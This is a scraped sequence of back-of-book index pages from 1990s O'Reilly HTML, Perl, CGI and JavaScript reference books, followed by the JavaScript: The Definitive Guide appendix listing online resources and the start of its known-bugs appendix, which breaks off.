Wrapping text around images
in multiline text form areas : The wrap attribute
within table cells
The nowrap attribute
The nowrap attribute
writing applets : Writing Applets
writing HTML documents
applying styles
Applying Styles to Documents
The pros and cons of external styles
choosing a title : What's in a title?
image maps and : Effective Use of Mouse-Sensitive Images
important sites for : An Extended Toolkit
linking
Creating Effective Links
Using Images and Links
list usage : Appropriate List Usage
software for
Tools for the HTML Designer
Writing Tools
user interface design : User Interface Considerations
using forms
Creating Effective Forms
Good Form, Old Chap
form programming
Passing parameters explicitly
Forms Programming
Handling POST Forms
using frames : Using Inline Frames

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

X

<xmp> tags : The <xmp> Tag

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Z

z-index attribute (<layer>)
The above, below, and z-index attributes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

$| variable : Digital Clock


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

a (<UL> TYPE value) : Changing the numbering style in ordered lists
a command (debugger) : Debugger Commands
-a switch, perl
Global Special Arrays
Switches
<A> tags
The Anchor Object
Anchor
String.anchor()
a2p program
a2p
Translation from Awk and Sed
abbrev( ) : Text::Abbrev--Create an Abbreviation Table from a List
abbreviations : Aliases and abbreviations
about:cache URL : Security Holes and Security Hobbles
abs function : abs
abs( ) : Math Object
abs() : Math.abs()
absbottom (IMG ALIGN value) : The align attribute
absmiddle (IMG ALIGN value) : The align attribute
absolute URLs
URLs
Absolute and Relative URLs
Uniform Resource Locators (URLs)
absolute value : abs
accept function : accept
accept types : Accept Types and Content Types
access counters:graphic;graphics:access counter;counters:access:graphic;dynamic:information:access counters;gd graphics library : Graphic Counter
access counters;counters:access : How do I write an access counter script?
access counters;server side includes (SSI):access counters;dynamic:information:access counters;counters:access;programs, CGI:access counters (see access counters) : User Access Counter
access operators : Array and Object Access Operators
access time, file
stat
utime
access.conf file : Configuring the Apache and NCSA Servers for SSI
access.conf file;programs, CGI:for domain-access control[programs, CGI:domain-based access control) : Restricting Access for Specified Domains
accessing object properties : Reading and Writing Object Properties
accumulator : Data Tainting in JavaScript


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

\b assertion
for backspace : The rules of regular expression matching
word boundary assertion
The rules of regular expression matching
The fine print
b command (debugger) : Debugger Commands
-b file test operator : Named Unary and File Test Operators
<B> tags : String.bold()
\b (word boundary) : Nailing Things Down
back()
The History Object
History.back()
back( ) : Methods
background : Creating a Potentially Transparent Image
audio in : Background Audio
color
The bgcolor attribute
Document background color
Document Properties
Document Properties
Document.bgColor
of <MARQUEE> text : The bgcolor attribute
of table rows
The bgcolor attribute
The bgcolor attribute
of tables : The bgcolor attribute
graphics : The background attribute
freezing (no scrolling) : The bgproperties attribute
potential problems with :


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

\c : The rules of regular expression matching
c command (debugger) : Debugger Commands
-c file test operator : Named Unary and File Test Operators
/c modifier : Pattern-Matching Operators
-c switch, perl : Switches
cacheout( ) : FileCache--Keep More Files Open Than the System Permits
caching
JavaScript


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

d (FTP URL typecode) : The ftp path and transfer type
d command (debugger) : Debugger Commands
-d file test operator : Named Unary and File Test Operators
\d (for digit) : Regular Expressions
/d modifier : Pattern-Matching Operators
-d switch, perl
Switches
Alternative Debuggers: The Perl Profiler
dangling references
Dangling references
Workarounds for Navigator 2.0
dash : What You Don't Know Won't Hurt You (Much)
data
LiveConnect conversion of
LiveConnect Data Conversion
Data Conversion
arrays of : Arrays
comparing : Equality (==)
exporting : Data Tainting in JavaScript
literals : Literals
data attribute
<object> tag : Attributes
data types : Variables
Boolean : Boolean Literals
Date : Date
LiveConnect : LiveConnect Data Types
automatic conversions of : Automatic Data Type Conversion
built-in : Built-in Data Types
by reference versus by value : By Value vs. By Reference
comparing different : Equality (==)
converting explicitly : Explicit Data Type Conversions
functions as
Functions
Functions as Data Types
Functions as Data Types
operators and : Type of Operands
scalars : Scalar Values
typeglobs : Typeglobs and Filehandles
typeof operator
Core Language Changes
Undefined
The typeof Operator


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

-e file test operator : Named Unary and File Test Operators
/e modifier : Pattern-Matching Operators
-e operator[e operator] : Graphic Counter
-e switch, perl : Switches
each function
each
Tying Hashes
echo command : Introduction
echo command;<!--# directives (see Server Side Includes) : Environment Variables
echo directive (SSI) : echo
editor support for debugger : Editor Support for Debugging
effective gid : Global Special Variables
effective uid : Global Special Variables
efficiency : Efficiency
electronic mail : Security Holes and Security Hobbles
elements, array
Array Elements
Array Elements
methods for manipulating : Array Methods
overwriting : Arrays in Navigator 2.0
elements, form : Form Elements
elements[\|] property : Properties
elements[] property
The Form Object
Form Elements
Form.elements[]
else clause : if
else statement : The if and unless statements
elsif statement : The if and unless statements
embed property : Document.plugins
<EMBED> tags
The JavaObject Object
Working with Plug-Ins
Document.embeds[]
embed[\|] property
Properties
Properties
embedded images : Manipulate Embedded Images
embedded objects : Other New Features
embedding HTML tags : HTML Embedded Tags
embeds[] property


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

f command (debugger) : Debugger Commands
-f file test operator : Named Unary and File Test Operators
face attribute, <font> : Attributes
fade_from_to() : LiveAudio
fade_to() : LiveAudio
failing gracefully
Fail Gracefully
Failing Gracefully the Hard Way
fakessi.pl program
Introduction
Faking SSI for the CERN Server
fakessi.pl program;CERN server:configuring SSI for;Perl:fakessi.pl (see fakessi.pl program);CERN server:configuring SSI for:(see also web servers) : Configuring SSI for the CERN Server
fallback operator : Fallback
false (keyword)
Boolean Literals
Boolean Values
Logical Or (||)
false value : What Is Truth?
fastcwd() routine : Cwd--Get Pathname of Current Working Directory
fcntl function : fcntl
fd() method : Locking databases
fdopen( ) : FileHandle--Supply Object Methods for Filehandles
fgColor property : Document.fgColor
fgcolor property : Document Properties
fields : Objects as Associative Arrays
file (TYPE attribute value) : File-selection fields
file URLs : The file URL
file descriptors
fileno
select (ready file descriptors)
file test operator : Named Unary and File Test Operators
file-selection boxes : <input type=file>
file-selection fields : File-selection fields
file: URL : Exploring JavaScript
filecheck( ) : ExtUtils::Manifest--Utilities to Write and Check a MANIFEST File
filehandles : Filehandles
angle operator and : Line input (angle) operator
copying : File::Copy--Copy Files or Filehandles<


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

-g file test operator : Named Unary and File Test Operators
/g modifier
Pattern-Matching Operators


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

h command (debugger) : Debugger Commands
-h switch, perl : Switches
h2ph Perl script : Socket I/O in Perl
hard references
What Is a Reference?
Creating Hard References
Hard References Don't Work as Hash Keys
hash mark : What You Don't Know Won't Hurt You (Much)
hash mark (#) : Handling reserved and unsafe characters
for RGB color values : The color attribute
for fragment identifiers : The http document fragment
for special characters : Inserting Special Characters
hash property
Properties
Properties
Properties
URL.hash
hashes
Hashes.
Built-in Data Types
Hashes (Associative Arrays)
SubstrHash module : Tie::SubstrHash--Fixed-table-size, Fixed-key-length Hashing
anonymous, references to : The Anonymous Hash Composer
of arrays, code for : Hashes of Arrays
automatic sorting of : In-memory databases
binding DBM file to : dbmopen
of complex records : Generation of a hash of complex records
deleting values from : delete
dictonary file, searching : Search::Dict--Search for Key in Dictionary File
global : Global Special Arrays


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

i (<UL> TYPE value) : Changing the numbering style in ordered lists
i (FTP URL typecode) : The ftp path and transfer type
/i modifier
Pattern Matching
Pattern-Matching Operators
Pattern-Matching Operators
-i switch, perl : Switches
<I> tags : String.italics()
icons
for referenced files : Appropriate Linking Styles
reusing : Speeding Image Downloads
identifiers : Identifiers
identifiers, package : Packages
ideographic unary operators : Ideographic Unary Operators
if modifier : Simple Statements
if statement
The Conditional Operator (?:)
if
if statements
The if and unless statements
If Statements
C Traps
in case structure : Bare Blocks and Case Structures
image maps
The ismap and usemap attributes
Mouse-Sensitive Images
client-side : The <area> Tag
as form buttons : Custom buttons
using effectively : Effective Use of Mouse-Sensitive Images
image/ media types : Media Types and Subtypes
imagemaps:204 (No Response) code with : The "No Response" Code
imagemaps;dynamic:imagemaps
The imagemap display
The imagemap display
images


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

java JavaPackage object : JavaPackage Object
java property
Properties
Properties
Packages.java
java
javaEnabled property : Navigator.javaEnabled()
javaEnabled( ) : Methods
javaEnabled()
Miscellaneous Changes
The Navigator, MimeType, and Plugin Objects
java_30 file : Compiling applets that use the JSObject class
javascript: protocol specifier
Exploring JavaScript
JavaScript in URLs
JavaScript URL Execution
join function : join
join( ) : Methods
join()
Array Methods
Array.join()
.js files
Core Language Changes
Including JavaScript Files
justification
Formats
The align attribute

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

-k file test operator : Named Unary and File Test Operators
key-value pairs
Transferring the Form Data
URL Encoding
key-value pairs;web servers:sending data to;forms:sending data to server;NAME attribute:(see also key-value pairs)[NAME attribute:zzz];special characters (see hexadecimal encoding) : Sending Data to the Server
keyboard text <KBD> tags
Content-based text styles
The <kbd> Tag
keys command : CGI Side Includes
keys function : keys
keys, hash : Tying Hashes
keystroke events : Dynamic HTML
keywords : Reserved Words
kill -l command (UNIX) : Signals
kill command;sleep command : Pipes and the open Command
kill function : kill

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

l command (debugger) : Debugger Commands
-l file test operator : Named Unary and File Test Operators
-l switch, perl : Switches
labels
for loops
Loop Statements
Loop control
Programming with Style
for goto operator
Goto
goto
names for : Variables
language attribute, <script> : Attributes
languages
generating Perl in : Generating Perl in other languages
generating in Perl : Generating other languages in Perl
natural vs. artificial : Natural and Artificial Languages
translating
Translation from Other Languages
Translation from Awk and Sed
last function : Programming with Style
last modification time : SSI Environment Variables
last operator
Breaking out: next and last
Loop control
last
Time Efficiency
lastIndexOf( ) : Methods
lastIndexOf()
lastIndexOf()
String.lastIndexOf()
lastModified property
Properties
Document Properties


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

/m modifier
Pattern Matching
Pattern-Matching Operators
Pattern-Matching Operators
-m switch, perl : Switches
m// (match) operator
Pattern Matching
Pattern-Matching Operators
/PATTERN/
Universal Blunders
modifiers for : Pattern-Matching Operators
pos function and : pos
m// operator : Debugger Commands
m?? (match) operator
Pattern-Matching Operators
?PATTERN?
m?? operator : Debugger Commands
reset function and : reset
mSQL : Utilities and Applications
magic cookies : An Overview of Cookies
magic cookies;cookies:magic : CGI Side Includes
mail : Overview
mail:gateway;gateways:mail;sendmail utility:(see also mail gateway) : Mail Gateway
mail:gateway;gateways:mail;web browsers:gateways to (see gateways);electronic mail (see mail) : Mail Gateway
mail:headers;headers:mail : Mail Gateway
mailing list on JavaScript : Discussion of JavaScript
mailto URLs : The mailto URL
mailto command : The formmail script looks complicated. Why can't I use a mailto: URL so that it just mails me the info the user filled in?
mailto: protocol specifier
Security Holes and Security Hobbles
Security Holes and Security Hobbles
Security Hobbles in Navigator 3.0
maintaining state;state, maintaining (see maintaining state) : How do I make a form that maintains state, or has several entry points?
make command : Targets
man command : Perl Manpages
manicheck( ) : ExtUtils::Manifest--Utilities to Write and Check a MANIFEST File
manicopy( ) : ExtUtils::Manifest--Utilities to Write and Check


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

\n
whitespace, newline characters : Escape Sequences in String Literals
n command (debugger) : Debugger Commands
-n switch, perl : Switches
name attribute
<a> tag : Attributes
<applet> tag : Attributes
<embed> tag : Attributes
<frame>
Frames
The <frame> Tag
<frame> tag : Attributes
<iframe> tag : Attributes
<input> tag
Attributes
The <input> Tag
<map> tag : Attributes
<meta> tag : Attributes
<object> tag : Attributes
<param> tag : Attributes
<select> tag
Attributes
The <select> Tag
name property : Other Window Programming Techniques
for Element object : Element.name
for Image object : Image.name
for Plugin object : Plugin.name
for Window object : The Window Object
for Windows object : Window.name
for form elements : Form Element Names and Values
name servers : Talking the Internet Talk
name space : The JavaScript Name Space
name/value pairs : Handling GET Forms
name=value pairs : The Set-Cookie Response Header
named
frame targets
Frame Tags
The name attribute
Named Frame or Window Targets
pipes : Named pipes
named GET parameters : Using named parameters with GET applications
named identifiers : The http document fragment
named unary operators
Filename globbing operator
Named Unary and File Test Operators
names
arrays : Variables
capitalization conventions : Variables
case sensitivity : Case Sensitivity
color : Color Names
commands : Verbs
current working directory : Cwd--Get Pathname of Current Working Directory
entities (see entities) : Character Entities
file : Other literal tokens
for files : rename
format : format
functions : Verbs
getting from network addresses
gethostbyaddr


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

-o file test operator : Named Unary and File Test Operators
/o modifier
Pattern-Matching Operators
Pattern-Matching Operators
obects
with statement and : with
object
classes : Packages, Modules, and Object Classes
constructors : Object Constructors
methods : Using Object Methods
object context : Conversions to Objects
object methods : DirHandle--Supply Object Methods for Directory Handles
for filehandles : FileHandle--Supply Object Methods for Filehandles
<OBJECT> tags : Other New Features
object-oriented libraries : Why are so many of these CGI Perl libraries object oriented? I don't know O-O programming. Aren't there simpler libraries for non-programmers to use? How hard can it be?
object-oriented programming
Brief Refresher on Object-Oriented Programming
Object-Oriented Scaling Tips
Object-Oriented Programming
objects
Objects
Class Context and the Object
Objects
The JavaScript Object Hierarchy
JavaObject object
The JavaObject Object
JavaScript Conversion of JavaObjects
access operators : Array and Object Access Operators
arrays as : Array/Object Dual Nature
as associative arrays : Objects as Associative Arrays
blessing : bless
classes for : Classes in JavaScript
comparing : Equality (==)
converting : By Value vs. By Reference
creation operator : Object Creation Operator (new)
embedded : Other New Features
for/in statement : for...in
functions as : Functions are objects
hidden : Hidden.value
prototypes : Object Prototypes
read-only : The assign() Method
reference counting : Reference Counting in Navigator 3.0
special methods for : Special Object Methods
testing for existence of : Event Handlers
wrapper objects
Data Type Wrapper Objects


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

p command (debugger) : Debugger Commands
-p file test operator : Named Unary and File Test Operators
-p switch, perl : Switches
<P> tags : Flushing Generated Output
pack command;hex command : Designing Applications Using Forms in Perl
pack function : pack
package declaration


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

q command (debugger) : Debugger Commands
qualify( ) : Symbol--Generate Anonymous Globs; Qualify Variable Names
qualifying variable names : Symbol--Generate Anonymous Globs; Qualify Variable Names
quantifiers
Quantifiers
The regular expression bestiary
Time Efficiency
atoms and : The rules of regular expression matching
query URLs : The query URL
query strings : The Location Object
query strings;forms:query strings
Query Strings
Query Strings
question mark : What You Don't Know Won't Hurt You (Much)
question mark (?)
encoding : Handling reserved and unsafe characters
for query URLs : The query URL
question mark (?) for query strings;? in query strings : Query Strings
quitting : diagnostics--Force Verbose Warning Diagnostics
Perl debugger : Debugger Commands
infinite loop : For loops
quotation marks : Pick your own quotes
in braces : String literals
double (XX_DQUOTE_XX) : The regular expression bestiary
double quotes (XX_DOUBLE_XX) : Braces, Brackets, and Quoting
double quotes (XX_DQUOTE_XX)
in formline arguments : formline
strings and : String literals
quotation marks (") : Handling reserved and unsafe characters
quotation marks (qq/../ construct);double quotes (qq/../ construct);qq/../ construct : Mail Gateway
quotations : Block Quotes
quotations, block : <blockquote>
quote characters : String Literals
quoted execution operator : Command input (backtick) operator
quotemeta function : quotemeta
quotewords( ) : Text::ParseWords--Parse Text into a List of Tokens
quoting, line oriented : "Here" documents
qw (quote words) : List Values and Arrays
qx// (quoted execution) operator
Command input (backtick) operator
Command input (backtick) operator

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

-r file test operator : Named Unary and File Test Operators
radio buttons
Radio Buttons
<input type=radio>
Radio buttons
Radio Object
Backward radio and checkbox arrays
radio buttons:multiple-choice questions : Quiz/Test Form Application
radio buttons;checkboxes;buttons:checkboxes;forms:checkboxes;forms:radio buttons
Radio Buttons and Checkboxes
Radio Buttons and Checkboxes
rand function : rand
random URL generator : A random URL generator
random hypertext links;links:random hypertext;URLs (uniform resource locators):randomly following;hypertext links:random;programs, CGI:to follow links randomly[programs, CGI:follow links randomly] : Random Links
random links : The Link Object
random numbers
rand
srand
random( ) : Math Object
random()
Core Language Changes
Math.random()
range (..) operator
Range Operator
Awk Traps
$rde


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

s (substitute) operator
Designing Applications Using Forms in Perl
Designing Applications Using Forms in Perl
s command (debugger) : Debugger Commands
-s file test operator : Named Unary and File Test Operators
\s (for whitespace) : Regular Expressions
/s modifier
Pattern Matching
The fine print
Pattern-Matching Operators
Pattern-Matching Operators
Pattern-Matching Operators
s operator : Regular Expressions
-s switch, perl
Switches
The Perl Debugger
s// (substitute) operator : Universal Blunders
s/// (substitution) operator
Interpolative context
Pattern Matching
Pattern-Matching Operators
options for : Pattern-Matching Operators
s2p program
s2p
Translation from Awk and Sed


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

t command (debugger) : Debugger Commands
-t file test operator : Named Unary and File Test Operators
tab characters : Preformatted text
table of contents : Linking Within a Document
tables
Tables
Tricks with Tables
JavaScript and tables
Navigator 3.0 bugs : Table Bugs
borders : The border attribute
color of
The bordercolor, bordercolorlight, and bordercolordark attributes
The bordercolor, bordercolorlight, and bordercolordark attributes
browsers incompatible with : When tables aren't implemented
captions
<caption>
The <caption> Tag
Tags of Contention
captions for : The <caption> Tag
cells
across multiple columns/rows : The colspan attribute
cells in
spacing around : The cellspacing attribute
colors in
The bgcolor attribute
The bgcolor attribute
The bgcolor attribute
for multicolumn pages : Multicolumn Pages
header cells : The <td> and <th> Tags
side heads : Side Heads
straddle heads : Straddle Heads
text flow within cells : The nowrap attribute
width of cells : The width attribute
width of entire table : The width attribute
tables, HTML
<table>
Tables
Color Names and Values
tabs : W


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

-u file test operator : Named Unary and File Test Operators
-u switch, perl : Switches
uc function : uc
ucfirst function : ucfirst
uid (user ID)
Global Special Variables
chown
assumed : Talking to yourself
passwd file entry from : getpwuid
$uid file statistic : stat
umask function : umask
unary operators
Calling conventions for unary operations
Overloadable operations
Number of Operands
- (negation) : Unary Negation (-)
arithmetic : Autoincrement and Autodecrement Operators
glob operator as : Filename globbing operator
ideographic : Ideographic Unary Operators
named
Filename globbing operator
Named Unary and File Test Operators
new
Data Type Wrapper Objects
Object Creation Operator (new)
Creating New Objects with Constructors
Creating Arrays
typeof
Undefined


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

-v switch, perl : Switches
validate( ) : File::CheckTree--Run Many Tests on a Collection of Files
validifying : Form Verification Example
valign attribute
<caption> tag
Attributes
Internet Explorer HTML Exclusives
<table> : The <table> Tag
<td> tag : Attributes
<th> and <td> : The <th> and <td> Tags
<th> tag : Attributes
<tr> : The <tr> Tag
<tr> tag : Attributes
value attribute
<input> tag : Attributes
<li> tag : Attributes
<option> tag
Attributes
The <select> Tag
<param> tag : Attributes
value property
for Button element : Button.value
for Checkbox element : Checkbox.value
for Element object : Element.value
for FileUpload element
FileUpload bug
Security Hobbles in Navigator 3.0
FileUpload.value
for Hidden element : Hidden.value
for Option element : Option.value
for Password element
Security Hobbles in Navigator 3.0
Password.value
for Radio element : Radio.value
for Reset element : Reset.value
for Submit element : Submit.value
for Text element : Text.value
for Text, Textarea elements : Mutable string values
for Textarea element : Textarea.value
for form elements : Form Element Names and Values
value. comparing by : Equality (==)
valueOf( )


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

w command (debugger)
Debugger Commands
Using the Debugger
-w file test operator : Named Unary and File Test Operators
\w (forward character) : Regular Expressions
-w switch, Perl
Global Special Arrays
Switches
Diagnostic Messages
-w switch, perl>
diagnostics module : diagnostics--Force Verbose Warning Diagnostics
wait function : wait
wait system call : Global Special Variables
waitpid function : waitpid
wantarray function : wantarray
warn function : warn
warning messages
Global Special Arrays
warn
Switches
Diagnostic Messages
diagnostics module : diagnostics--Force Verbose Warning Diagnostics
web browsers:animation and : Client Pull
web browsers:information from;clients:browsers as (see web browsers);browsers, web (see web browsers) : Check the Client Browser
web browsers:information from;graphics : Check the Client Browser
web browsers:name of;names:browser (see HTTP_USER_AGENT) : Check the Client Browser
web crawler programs : The Link Object
web documents
virtual : Creating Virtual Documents
web pages : Comments
web servers:configuring;configuring:web server;NCSA server:(see also web servers)[NCSA server:zzz] : Configuring the Server
web servers:decoding form input : Understanding the Decoding Process
web servers:environment variables for : About This Server
web servers:for Macintosh[web servers:Macintosh];Macintosh;Apple Macintosh (see Macintosh) : Other Languages on Macintosh Servers
web servers:for Microsoft Windows[web servers:Microsoft Windows];Microsoft Windows;Windows : Other Languages Under Microsoft Windows
w


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

x (repetition) operator : Multiplicative Operators
-x file test operator : Named Unary and File Test Operators
/x modifier
Pattern Matching
Pattern-Matching Operators
Pattern-Matching Operators
x operator : String Operators
-x switch, perl
Command Processing
Switches
x= (assignment) operator : Assignment Operators
xor operator : Logical and, or, not, and xor

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

y/// (translation) operator : Pattern-Matching Operators
year
Date.getYear()
Date.setYear()
year (see date and time) : Configurable Time Formats for SSI Output
yes/no : Boolean Values

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Index Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols

-z file test operator : Named Unary and File Test Operators
zombie processes : Signals
zombie processes;parent processes;forking child processes;spawning child processes;child processes : Forking/Spawning Child Processes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


[Appendix A] JavaScript Resources on the Internet

JavaScript: The Definitive Guide

Previous Appendix A Next

A. JavaScript Resources on the Internet

Contents:
Official Netscape Documentation
Discussion of JavaScript
Examples and Links for Further Exploration
FAQ Lists

There are quite a few web sites that are useful to JavaScript programmers. This appendix lists some of the highlights.

A.1 Official Netscape Documentation

The official JavaScript documentation from Netscape can be found in the online Netscape Navigator Handbook. You can get there by selecting the Handbook entry in the Help menu of Netscape Navigator and following the links to the JavaScript documentation.

The official JavaScript documentation is titled The JavaScript Guide, and in Navigator 3.0, you can link to it directly at:

http://home.netscape.com/eng/mozilla/3.0/handbook/javascript/index.html

This URL is likely to change for future versions of Navigator, however.

You are unlikely to find anything in the Navigator 3.0 version of this JavaScript documentation that you cannot also find in this book. As the JavaScript documentation is updated during the Navigator 4.0 beta cycle, you may find it quite useful, however.

Previous | Home | Next
Window.window | Book Index | Discussion of JavaScript
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix A] A.2 Discussion of JavaScript

JavaScript: The Definitive Guide

Previous Appendix A
JavaScript Resources on the Internet 		Next

A.2 Discussion of JavaScript

The primary worldwide forum for discussion (in English) of JavaScript is the Usenet newsgroup comp.lang.javascript. As with many Usenet newsgroups, this one can have a lot of traffic, and can sometimes be difficult to keep up with.

If you don't care for the quality or quantity of discussion that occurs in such a large, widely distributed forum, you may prefer to try to find (or start!) a smaller mailing list or chat room dedicated to the discussion of JavaScript. One of the main JavaScript mailing lists (with a moderately large volume of traffic) is hosted by inquiry.com. See the list homepage for directions on how to subscribe to this list:

http://www.inquiry.com/techtips/js_pro/maillist.html

Note that this mailing list is also available in digest form, which can be very convenient.

If you are a member of Netscape's DevEdge developer's program, you might also try the JavaScript newsgroup hosted by Netscape:

snews://secnews.netscape.com/netscape.devs-javascript

Note that this newsgroup uses the "secure news" snews: protocol rather than the traditional news:.

Previous | Home | Next
Official Netscape Documentation | Book Index | Examples and Links for Further Exploration
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix A] A.3 Examples and Links for Further Exploration

JavaScript: The Definitive Guide

Previous Appendix A
JavaScript Resources on the Internet 		Next

A.3 Examples and Links for Further Exploration

There are several good sites that include collections of JavaScript examples and/or contain links to various JavaScript resources. The largest site is probably Gamelan, the official Java directory site for JavaSoft. This site contains JavaScript information under the heading of "Related Technologies". You can get to the main Gamelan page at:

http://www.gamelan.com/

And you can find the JavaScript specific listings at:

http://www.gamelan.com/pages/Gamelan.related.javascript.html

Another useful site is "The JavaScript Index"; it contains links to useful JavaScript examples, as well as pointers to JavaScript tutorials and other resources. "JSI", as it is known, is maintained by Andrew Wooldridge, and is at:

http://www.c2.org/~andreww/javascript/

Finally, Yahoo! has a collection of JavaScript resources. You can find it at:

http://www.yahoo.com/text/Computers_and_Internet/Programming_Languages/
JavaScript/

Previous | Home | Next
Discussion of JavaScript | Book Index | FAQ Lists
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix A] A.4 FAQ Lists

JavaScript: The Definitive Guide

Previous Appendix A
JavaScript Resources on the Internet 		Next

A.4 FAQ Lists

As this appendix is written, there is no particularly good FAQ (Frequently Asked Questions) list for JavaScript. The most often cited FAQ list is found at the "JavaScript 411" site:

http://www.freqgrafx.com/411/

This site, and the FAQ were developed by Andy Augustine of Frequency Graphics. They were quite useful for Navigator 2.0 and during the Navigator 3.0 beta period. Currently, however, neither the site nor the FAQ appears to be actively maintained, and as this appendix is written, the material they contain is unfortunately fairly dated.

There is no FAQ list for the comp.lang.javascript newsgroup, at least not one that is regularly posted to news.answers. (Perhaps some enterprising reader of this book will take it upon themselves to start one!)

Previous | Home | Next
Examples and Links for Further Exploration | Book Index | Known Bugs
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix B] Known Bugs

JavaScript: The Definitive Guide

Previous Appendix B Next

B. Known Bugs

Contents:
Known JavaScript Bugs in Navigator 3.0
Known JavaScript Bugs in Internet Explorer 3.0
Commonly Encountered JavaScript Bugs in Navigator 2.0

In order to program effectively in JavaScript, or any language, it is important to have an idea of what features don't work as advertised. This appendix discusses the known bugs in various versions of JavaScript.

B.1 Known JavaScript Bugs in Navigator 3.0

